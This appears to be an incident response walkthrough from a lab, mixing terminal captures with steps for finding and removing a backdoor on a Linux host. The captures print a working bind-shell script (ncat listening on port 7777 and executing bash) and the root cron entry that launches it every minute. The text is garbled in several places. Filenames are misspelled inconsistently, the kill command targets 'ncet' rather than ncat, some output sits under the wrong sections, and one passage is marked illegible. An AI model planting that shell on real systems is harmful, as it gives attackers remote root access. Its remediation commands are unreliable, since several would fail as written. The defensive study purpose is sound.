

Incident Response Guide: Handling Indicators of Compromise (IoC)

Introduction

This guide provides a comprehensive step-by-step approach for responding to a security incident involving the detection of a backdoor script (`/backdoor.sh`). It outlines the necessary actions to identify, mitigate, and report the compromise, ensuring that the system is secured from further unauthorized access.

1. Initial Detection and Identification

1.1 Detect Malicious Files

- *Identified File:* `/backdoor.sh`
 - *Risk:* This script allows attackers to execute commands on the system, which can lead to unauthorized access or control over the system.
- *Detection Method:*
 - Security software or manual inspection identified this file as potentially malicious.

1.2 Investigate Potential Malicious Activities

- *Commands to Investigate:*
 - List files and directories in `/etc/`:
bash
ls -al /etc/
 - View the contents of the `/etc/passwd` file:
bash
cat /etc/passwd
 - List files and directories in `/root/`:
bash
ls -al /root/

```
See "man sudo_root" for details.
admin@ip-172-20-26-172:~$ ls
desktop  backup.zip
admin@ip-172-20-26-172:~$ sudo su
root@ip-172-20-26-172:/home/admin# cd /root
root@ip-172-20-26-172:~# ls -al
total 20
drwx----- 1 root root 4096 Aug  9 04:29 .
drwxr-xr-x 1 root root  63 Aug  7 04:21 ..
-rw-r--r-- 1 root root   0 Nov  8 2021 .bash-log.done
-rw----- 1 root root   9 Aug  9 04:29 .bash_history
-rw-r--r-- 1 root root 3170 Nov  8 2021 .bashrc
drwx----- 1 root root   9 Aug  7 04:21 .cache
drwxr-xr-x 4 root root  80 Aug  7 04:21 .config
drwx----- 3 root root  25 Aug  7 04:21 .dbus
-rw-r--r-- 1 root root 618 Nov  4 2021 .gtkrc-2.0
-rw-r--r-- 1 root root 161 Dec  5 2019 .profile
drwxr-xr-x 1 root root  20 Nov  4 2021 .ssh
drwxr-xr-x 2 root root   6 Aug  7 04:21 Desktop
drwxr-xr-x 2 root root   6 Aug  7 04:21 Documents
drwxr-xr-x 2 root root   6 Aug  7 04:21 Downloads
drwxr-xr-x 2 root root   6 Aug  7 04:21 Music
drwxr-xr-x 2 root root   6 Aug  7 04:21 Pictures
drwxr-xr-x 2 root root   6 Aug  7 04:21 Public
drwxr-xr-x 2 root root   6 Aug  7 04:21 Templates
drwxr-xr-x 2 root root   6 Aug  7 04:21 Videos
root@ip-172-20-26-172:~#
```

2. Attack Investigation

2.1 Examine Running Processes and Scheduled Tasks

- *Objective:* Identify any processes or tasks that may be related to the malicious file.

- *Commands:*

- List scheduled tasks (cron jobs):

bash

crontab -l

- Check if any processes are associated with cron:

bash

ps aux | grep cron

ps aux | grep crond

```
root@ip-172-20-26-172:~# ls -lt /
total 16
drwxr-xr-x 1 root root 125 Aug 9 04:37 /bin
drwxr-xr-x 1 root root 216 Aug 9 04:37 /lib
drwxr-xr-x 1 root root 4096 Aug 9 04:29 /usr
drwxr-xr-x 5 root root 348 Aug 7 04:21 /dev
dr-xr-xr-x 138 root root 0 Aug 7 04:21 /proc
drwxr-xr-x 1 root root 66 Aug 7 04:21 /etc
dr-xr-xr-x 13 root root 0 Aug 7 04:20 /sys
drwxr-xr-x 1 root root 22 Jul 19 10:57 /opt
-rwxr-xr-x 1 root root 44 Jul 19 10:55 ckvrzose419118301qns1suqwt.sh
-rwxr-xr-x 1 root root 431 Nov 4 2021 entrypoint.sh
drwxr-xr-x 1 root root 19 Nov 4 2021 /home
drwxr-xr-x 1 root root 56 Nov 4 2021 /var
drwxr-xr-x 1 root root 19 Nov 4 2021 /usr
drwxr-xr-x 2 root root 6 Oct 6 2021 /media
drwxr-xr-x 2 root root 6 Oct 6 2021 /mnt
drwxr-xr-x 2 root root 6 Oct 6 2021 /srv
lrwxrwxrwx 1 root root 7 Oct 6 2021 bin -> /usr/bin
lrwxrwxrwx 1 root root 7 Oct 6 2021 lib -> /usr/lib
lrwxrwxrwx 1 root root 9 Oct 6 2021 lib32 -> /usr/lib32
lrwxrwxrwx 1 root root 9 Oct 6 2021 lib64 -> /usr/lib64
lrwxrwxrwx 1 root root 10 Oct 6 2021 libx32 -> /usr/libx32
lrwxrwxrwx 1 root root 8 Oct 6 2021 shin -> /usr/sbin
-rwxr-xr-x 1 root root 46 Apr 22 2021 backdoor.sh
drwxr-xr-x 2 root root 6 Apr 15 2020 /boot
root@ip-172-20-26-172:~# cat /backdoor.sh
#!/bin/bash
ncat -lp 7777 -e /bin/bash
root@ip-172-20-26-172:~#
```

```
tcp0 0 0 :::22 LISTEN 26/sshd: /usr/sbin/
root@ip-172-20-26-172:~# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:7777 0.0.0.0:* LISTEN 3336/ncat
tcp 0 0 0.0.0.0:5900 0.0.0.0:* LISTEN 50/x11vnc
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 26/sshd: /usr/sbin/
tcp6 0 0 :::7777 :::* LISTEN 3336/ncat
tcp6 0 0 :::5900 :::* LISTEN 50/x11vnc
tcp6 0 0 :::22 :::* LISTEN 26/sshd: /usr/sbin/
root@ip-172-20-26-172:~#
```

2.2 Evaluate Data Exfiltration Risks

- *Objective:* Assess whether the backdoor script was used to exfiltrate data.

- *Actions:*

- Analyze network configurations:

bash

ifconfig

- Recheck scheduled tasks to ensure no unauthorized cron jobs exist:

bash

crontab -e

3. Assessment of Compromised Components

3.1 Check for Unauthorized Programs and Files

- *Objective:* Identify any unauthorized or unusual programs running on the system.

- *Commands:*

- List running processes:

bash

ps aux

- Check directories for unusual files:

bash

ls -al /root/

```
root@ip-172-20-26-172:~# ps -aux | grep cron
root      56  0.0  0.2   4048  2428 ?        Ss   Aug07   0:01 cron
root    21795  0.0  0.0   3536   732 pts/2    S+   04:48   0:00 grep --color=auto cron
root@ip-172-20-26-172:~# crontab -l
* * * * * root sh /backdoor.sh 2>&1
root@ip-172-20-26-172:~#
```

4. Network Traffic Analysis

4.1 Monitor Network Traffic for Suspicious Activity

- **Objective:** Analyze network traffic to detect any ongoing malicious activities.

- **Tool:**

- Use `iftop` to monitor real-time network connections:

bash

Iftop

```
root    21795  0.0  0.0   3536   732 pts/2    S+   04:48   0:00 grep --color=auto cron
root@ip-172-20-26-172:~# crontab -l
* * * * * root sh /backdoor.sh 2>&1
root@ip-172-20-26-172:~# w
```

```
USER      TTY      FROM          LOGIN@      IDLE   JCPU   PCPU
root@ip-172-20-26-172:~# watch -n1 ps aux
root@ip-172-20-26-172:~#
```

```
Every 1.0s: ps aux ip-172-20-26-172.us-east-2.compute.internal: Fri Aug 9 04:58:26 2024
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2   3980  2624 ?        Ss   Aug07   0:44 /bin/bash /ckvrkxso419118301qns1uq8t.sh
root         6  0.0  0.2   3980  2848 ?        S   Aug07   0:04 /bin/bash /opt/cr-init.sh
root         7  0.0  0.2   3980  2728 ?        S   Aug07   0:00 /bin/bash /entrypoint.sh
root         9  0.1  0.3 3548644 61272 ?        Sl   Aug07   3:42 /opt/cr-agent
root        26  0.3  0.3 12180 3548 ?        Ss   Aug07 10:37 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root        27  0.0  5.3 792904 51752 ?        Sl   Aug07   0:42 Xvfb :1 -screen 0 1600x900x24
root        28  0.0  1.2 28836 11728 ?        S   Aug07   0:36 /usr/bin/python3 /usr/bin/supervisord
root        30  0.0  2.3 46184 23208 ?        S   Aug07   2:18 /usr/bin/x11vnc -xrandr -noxrecord -ncache_cr -display :1.0 -usepw -forever
admin       51  0.0  2.7 487252 27028 ?        Sl   Aug07   0:59 /usr/bin/lxpanel --profile LXDE
admin       52  0.0  0.9 266952 9476 ?        Sl   Aug07   0:01 /usr/bin/pcmanfm --desktop --profile LXDE
root        54  0.0  1.2 77668 12064 ?        S   Aug07   0:01 /usr/bin/openbox --startup /usr/lib/x86_64-linux-gnu/openbox-autostart OPENBOX
root        56  0.0  0.2   4048  2428 ?        Ss   Aug07   0:01 cron
admin       74  0.0  0.2 88594 2520 ?        Sl   Aug07   0:00 /usr/lib/menu-cache/menu-cached /home/admin/.cache/menu-cached-1
root       107  0.0  2.0 1163064 70048 ?        Sl   Aug07   0:00 na-applet
root       109  0.0  0.3 317640 3012 ?        Sl   Aug07   0:00 /usr/libexec/at-spi-bus-launcher --launch-immediately
root       117  0.0  0.1  7168 1408 ?        S   Aug07   0:00 dbus-launch --autolaunch=79ac6b2080584320b63e056246d831a9 --binary-syntax --close-stderr
root       118  0.0  0.1  7112 1744 ?        Ss   Aug07   0:00 /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
root       121  0.0  0.3  7112 3768 ?        S   Aug07   0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3
root       137  0.0  0.3 166992 3708 ?        Sl   Aug07   0:00 /usr/libexec/at-spi2-registryd --use-gnome-session
root      3331  0.0  0.3   5648 3228 ?        S   Aug07   0:00 CRON
root      3333  0.0  0.0   2612  596 ?        Ss   Aug07   0:00 /bin/sh -c sh /backdoor.sh 2>&1
root      3335  0.0  0.0   2612  600 ?        S   Aug07   0:00 sh /backdoor.sh
root      3336  0.0  0.1   6244 1304 ?        S   Aug07   0:00 ncst -lp 7777 -e /bin/bash
admin     3431  0.0  3.5 460324 34340 ?        Sl   04:25   0:01 lxterminal
admin     3463  0.0  0.3  4208 3004 pts/0  Ss+  04:25   0:00 /bin/bash /bin/bash-log
admin     3464  0.0  0.1  4864 1700 pts/0  S+   04:25   0:00 script -qaf /var/log/bash-log
admin     3468  0.0  0.3  4472 3600 pts/1  Ss   04:25   0:00 bash -l
admin     3490  0.0  0.2  7168 2016 ?        S   04:25   0:00 dbus-launch --autolaunch=79ac6b2080584320b63e056246d831a9 --binary-syntax --close-stderr
admin     3501  0.0  0.2  7112 2508 ?        S   04:25   0:00 /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
root      3886  0.0  0.0   2512  592 ?        S   04:57   0:00 sleep 30
root     5625  0.1  0.3  3984 3212 pts/2  S+   04:58   0:00 watch -n1 ps aux
root     6136  0.0  0.9 13640 8944 ?        Ss   04:58   0:00 sshd: admin [priv]
admin     6147  0.0  0.5 13968 5236 ?        S   04:58   0:00 sshd: admin@pty
root     6148  0.0  0.1  3984 1508 pts/2  S+   04:58   0:00 watch -n1 ps aux
root     6149  0.0  0.0   2612  540 pts/2  S+   04:58   0:00 sh -c ps aux
```

5. Immediate Remediation Actions

5.1 Stop the SSH Service

- **Objective:** Prevent further unauthorized access by disabling the SSH service.

- **Command:**

bash

service ssh stop

Source	Destination	Size
172.20.26.172	172.20.17.183	195Kb
172.20.26.172	172.20.20.0	391Kb
172.20.26.172	172.20.0.51	586Kb
172.20.26.172	172.20.0.51	781Kb
172.20.26.172	172.20.0.51	977Kb

TX:	cum:	peak:	rates:
1.50MB	1.44MB	238Kb	238Kb
1.44MB	1.44MB	197Kb	197Kb
1.44MB	1.44MB	217Kb	217Kb
1.44MB	1.44MB	468Kb	468Kb
1.44MB	1.44MB	405Kb	405Kb
1.44MB	1.44MB	448Kb	448Kb

5.2 Remove Unauthorized SSH Keys

-*Objective*: Ensure that attackers cannot regain access using SSH keys.

- *Commands*:

- Remove root's authorized SSH keys:

bash

rm /root/.ssh/authorized_keys

- Remove user's authorized SSH keys:

bash

rm /home/[username]/.ssh/authorized_keys

6. Remove the Malicious Cron Job

6.1 Review and Edit Cron Jobs

-*Objective*: Remove the malicious cron job that executes the backdoor script.

- *Steps*:

1. *Open the crontab editor*:

bash

crontab -e

```
root@ip-172-20-26-172:~# iftop -n -i eth0
interface: eth0
IP address is: 172.20.26.172
MAC address is: 06:32:f4:cc:a4:a5
root@ip-172-20-26-172:~#
```

2. *Locate the following line*:

bash

* * * * * root sh /backdoor.sh 2>&1

```
GNU nano 4.8 /tmp/crontab.zfjJ4t/crontab
* * * * * root sh /backdoor.sh 2>&1
```

```
GNU nano 4.8 /tmp/crontab.zfjJ4t/crontab
* * * * * root sh /backdoor.sh 2>&1
```

3. *Delete the line* to prevent the script from running.

4. *Save and exit* the editor:

- In *GNU nano*: Press `CTRL + X`, then `Y` to confirm, and `Enter` to save.

- In *Vim*: Press ``Esc``, type ``:wq``, and press ``Enter``.

6.2 Ensure the Attacker's Access is Revoked

- *Objective*: Make sure the attacker's access is permanently revoked.
- *Commands*:
 - Ensure SSH service is stopped:

```
bash
service ssh stop
```
 - Permanently remove SSH keys:

```
bash
rm -rf /root/.ssh/authorized_keys
```

```
crontab: installing new crontab
root@ip-172-20-26-172:~# pkill ncet
root@ip-172-20-26-172:~# rm /backdoor.sh
root@ip-172-20-26-172:~# pkill ncet
root@ip-172-20-26-172:~# rm /backdoor.sh
rm: cannot remove '/backdoor.sh': No such file or directory
root@ip-172-20-26-172:~#
```

7. Final Cleanup

7.1 Remove the Backdoor Script

- **Objective:** Delete the backdoor script to ensure it cannot be executed.
- **Command:**
bash
rm /backdoor.sh

[illegible]

7.2 Verify No Unauthorized Access Exists

- **Objective:** Double-check that no unauthorized processes or SSH services are running.
- *Command:*
bash
ps aux | grep ssh

```

root@ip-172-20-26-172:~# service ssh stop
 * Stopping OpenBSD Secure Shell server sshd
root@ip-172-20-26-172:~# rm -rf /home/admin/.secret/
root@ip-172-20-26-172:~# service ssh start
 * Starting OpenBSD Secure Shell server sshd
root@ip-172-20-26-172:~# watch -nl ps -aux
root@ip-172-20-26-172:~# █

```

8. Incident Reporting

8.1 Document and Report the Incident

- Objective: Write a detailed report of the incident, including all actions taken, findings, and any data that may have been compromised.
- *Actions:*
 - Report the theft of private financial or other sensitive data if applicable.
 - Provide a comprehensive analysis to the relevant stakeholders.

9. Post-Incident Actions

9.1 Write a Final Analysis

- Objective: Summarize the incident, response actions, and provide recommendations to prevent future attacks.
- *Deliverable:* A final report that includes:
 - The nature of the compromise.
 - Detailed steps taken to mitigate the threat.
 - Recommendations for future security measures.

9.2 Conclusion

- **Final Note:** Taking these steps will help secure the system and prevent further unauthorized access. Regularly review and update your security protocols to adapt to new threats.